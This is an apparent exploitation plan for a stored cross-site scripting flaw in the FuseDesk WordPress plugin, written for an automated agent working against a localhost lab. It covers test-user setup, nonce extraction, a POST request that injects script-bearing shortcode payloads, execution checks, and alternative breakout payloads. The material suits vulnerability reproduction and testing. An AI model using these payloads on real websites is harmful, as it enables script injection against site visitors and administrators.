Exploitation Research Plan: CVE-2026-1914 (FuseDesk Stored XSS)

1. Vulnerability Summary

The FuseDesk plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting (XSS) via the emailtext attribute of the [fusedesk_newcase] shortcode. In versions up to and including 6.8, the plugin fails to sanitize or escape this attribute before rendering it on the page. This allows an attacker with Contributor-level permissions or higher to inject arbitrary JavaScript into a post or page.

2. Attack Vector Analysis

• Vulnerable Shortcode: [fusedesk_newcase]
• Vulnerable Attribute: emailtext
• Authentication Level: Contributor+ (Users who can create or edit posts/pages).
• Injection Point: Post/Page content during creation or update.
• Persistence: The payload is stored in the WordPress posts table within the post_content field.
• Trigger: Rendering the post/page on the frontend or viewing it in the editor.

3. Code Flow (Inferred)

1. Registration: The plugin registers the shortcode using add_shortcode( 'fusedesk_newcase', '...' ) during the init hook.
2. Parsing: When a post is viewed, WordPress calls the registered callback function for fusedesk_newcase.
3. Processing: The callback function extracts attributes using shortcode_atts().
4. The Sink: The value of the emailtext attribute is either echoed directly or concatenated into a return string (likely for a hidden field, a script block, or a template variable) without being passed through escaping functions like esc_attr(), esc_html(), or wp_kses().

4. Nonce Acquisition Strategy

This vulnerability does not typically require a plugin-specific nonce for the exploitation phase because it leverages the standard WordPress post creation/editing workflow.

1. Injection: The Contributor uses the standard WordPress wp-admin/post.php or the REST API to save a post. These actions are protected by core WordPress nonces (_wpnonce), which the execution agent can obtain by navigating to the "New Post" page.
2. Rendering: Shortcode execution on the frontend does not require a nonce.

5. Test Data Setup

Before exploitation, the environment must be prepared:

1. Install Plugin: Ensure FuseDesk <= 6.8 is installed and active.
2. Create User: Create a user with the contributor role.

   wp user create attacker attacker@example.com --role=contributor --user_pass=password123
   

3. Authentication: The agent must log in as the attacker to obtain a session cookie.

6. Exploitation Strategy

The goal is to create a post containing the malicious shortcode and verify its execution.

Step 1: Login and Obtain Core Nonce

1. Navigate to http://localhost:8080/wp-login.php and log in as attacker.
2. Navigate to http://localhost:8080/wp-admin/post-new.php.
3. Extract the _wpnonce from the page source for post creation.

Step 2: Inject Payload

Using the http_request tool, send a POST request to save a new post with the XSS payload.

• URL: http://localhost:8080/wp-admin/post.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body Parameters:
  • action: editpost
  • post_ID: (The ID of the newly created draft)
  • _wpnonce: (Extracted nonce)
  • post_title: XSS Test
  • content: [fusedesk_newcase emailtext='"><script>alert(document.domain)</script>']
  • publish: Publish (or save for draft)

Step 3: Trigger and Verify

1. Identify the URL of the post created in Step 2.
2. Navigate to the post URL using browser_navigate.
3. Check for the execution of the JavaScript. Since alert() might block, it is better to use a payload that modifies the DOM or sets a global variable.
   • Payload: [fusedesk_newcase emailtext='"><script>window.vulnerable = true;</script>']
4. Use browser_eval("window.vulnerable") to confirm execution.

7. Expected Results

• The HTTP response for Step 2 should be a 302 redirect back to the post editor or the published post.
• When viewing the post's HTML source, the attribute should appear exactly as:
  ... emailtext=""><script>alert(document.domain)</script>" ... (showing a breakout of an HTML attribute)
  OR
  ... <div><script>alert(document.domain)</script></div> ... (showing direct injection).
• The JavaScript must execute in the browser context.

8. Verification Steps (Post-Exploit)

1. Check Post Content: Use WP-CLI to verify the shortcode is stored in the database.

   wp post list --post_type=post --format=csv
   wp post get <POST_ID> --field=post_content
   

2. Verify Unescaped Output: Perform a raw curl/request to the post URL and grep for the raw script tag to prove the absence of esc_html or esc_attr.

   # (Inside container for internal check)
   curl -s http://localhost/index.php?p=<POST_ID> | grep "<script>alert"
   

9. Alternative Approaches

If the emailtext attribute is placed inside a JavaScript variable rather than an HTML attribute, the payload should be adjusted:

• JS String Breakout: ';alert(document.domain);//
• Attribute Breakout (if single quotes used): '><script>alert(1)</script>

If the plugin filters the post_content on the way in, check if the fusedesk_newcase shortcode supports any AJAX-based configuration that might store settings in wp_options instead, which often bypasses wp_kses_post filters applied to post content.